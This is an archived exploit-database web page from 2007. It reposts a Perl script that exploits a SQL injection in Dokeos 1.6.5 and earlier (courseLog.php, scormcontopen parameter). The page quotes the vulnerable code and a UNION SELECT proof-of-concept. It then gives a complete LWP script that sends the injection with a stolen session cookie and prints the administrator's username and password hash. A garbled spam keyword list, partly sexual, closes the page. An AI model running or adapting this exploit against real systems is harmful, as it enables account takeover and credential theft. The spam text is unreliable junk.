about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Dokeos <= 1.6.5 (courseLog.php scormcontopen) SQL Injection Exploit




2007-05-24 Dokeos <= 1.6.5 (courseLog.php scormcontopen) SQL Injection Exploit
Rated as : Moderate Risk

#!/usr/bin/perl -w

#################################################################################
#										#
#	      	      Dokeos <= 1.6.5 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (courseLog.php): 						#
#										#
#	if ($_GET['scormcontopen'])						#
#	{									#
#	include_once(api_get_library_path().'/database.lib.php');		#
#	include('../scorm/XMLencode.php');					#
#	$TBL_SCORM_MAIN     = Database::get_scorm_main_table();			#
#	$result = api_sql_query("SELECT contentTitle FROM $TBL_SCORM_MAIN
	#
#	where (contentId=".$_GET['scormcontopen'].")");				#
#	$ar = mysql_fetch_array($result);					#
#	$contentTitle = $ar['contentTitle'];					#
#	$path=api_get_path('SYS_COURSE_PATH');					#
#	$file=$path.$_cid.'/scorm'.$contentTitle.'/imsmanifest.xml';		#
#	$charset = GetXMLEncode($file);						#
#	header('Content-Type: text/html; charset='. $charset);			#
#	}									#
#										#
# PoC: /claroline/tracking/courseLog.php?scormcontopen=-999) UNION SELECT
	#
#     
CONCAT(char(58),char(58),username,char(58),char(58),password,char(58),	#
#      char(58)) FROM user WHERE user_id=1 /*					#
#										#
# 										#
# Subject To: Having an already existant student/teacher account		#
#										#
# GoogleDork: Get your own!							#
# Shoutz: The entire w4ck1ng community						#
#										#
# Notes: You need to obtain your current SESSION_ID; use your browser to
	#
#	 disclose or find an XSS.						#
#										#
#################################################################################

use LWP::UserAgent;
if (@ARGV < 2){
print
"-------------------------------------------------------------------------rn";
print "           	   Dokeos <= 1.6.5 SQL Injection
Exploitrn";
print
"-------------------------------------------------------------------------rn";
print "Usage: w4ck1ng_dokeos.pl [PATH] [SESSION_ID]rnrn";
print "[PATH] = Path where Dokeos is locatedrn";
print "[SESSION_ID] = Session identifier of logged on
userrnrn";
print "e.g. w4ck1ng_dokeos.pl http://victim.com/dokeos/
cjjjauie95inbmo5fim8m93vo1rn";
print
"-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print
"-------------------------------------------------------------------------rn";
exit();
}

$b = LWP::UserAgent->new() or die "Could not initialize
browsern";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$cookie = "$ARGV[1];";
$host = $ARGV[0] .
"claroline/tracking/courseLog.php?scormcontopen=-999) UNION SELECT
CONCAT(char(58),char(58),username,char(58),char(58),password,char(58),char(58))
FROM user WHERE user_id=1 /*";

my @cookie = ('Cookie' => "dk_sid=$cookie;");
my $res = $b->get($host, @cookie);

$answer = $res->content;
if ($answer =~ /scorm::(.*?)::/){
print
"-------------------------------------------------------------------------rn";
print "           	   Dokeos <= 1.6.5 SQL Injection
Exploitrn";
print
"-------------------------------------------------------------------------rn";
print "[+] Admin User : $1n";
}

if ($answer =~/::([0-9a-fA-F]{32})::/imsmanifest.xml/){
print "[+] Admin Hash : $1n";
print
"-------------------------------------------------------------------------rn";
print "            		 http://www.w4ck1ng.comrn";
print "            		        ...Silentzrn";
print
"-------------------------------------------------------------------------rn";
}

else {
  print "nExploit Failed...n";
}
securitydot.net - 2007-05-24

Advertising

Copyright 2007, SecurityDot
Sat, 04 Jul 2009 22:50:12 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
t154t www.up dow lo401l EROTIC MOV jl chihuah jins.tv www.sxse . 9.2.2 p2 Sexey.Foto t613t Www.seyx.v ccb cabdulaahi www.sxse . m...stall. Www.seyx.v Naked Sneh Sarah sex hulya kocy remote den Naked Sneh Bavanasex online sex http-searc arpic sex www.kokes. egyiptian SREYASEX.C Sexactors. remote adm babes nude www.rahult bind 8.4.7 fanmaza Bugil jepa _:P:P:P:P: adultfree. 200 /compo sexsy mov suse 7.3 Sexactors. lllll6666 Suganya Crack Data Gbook vidios nik adj Www.sexlyw 3.7.0vBull 200 /compo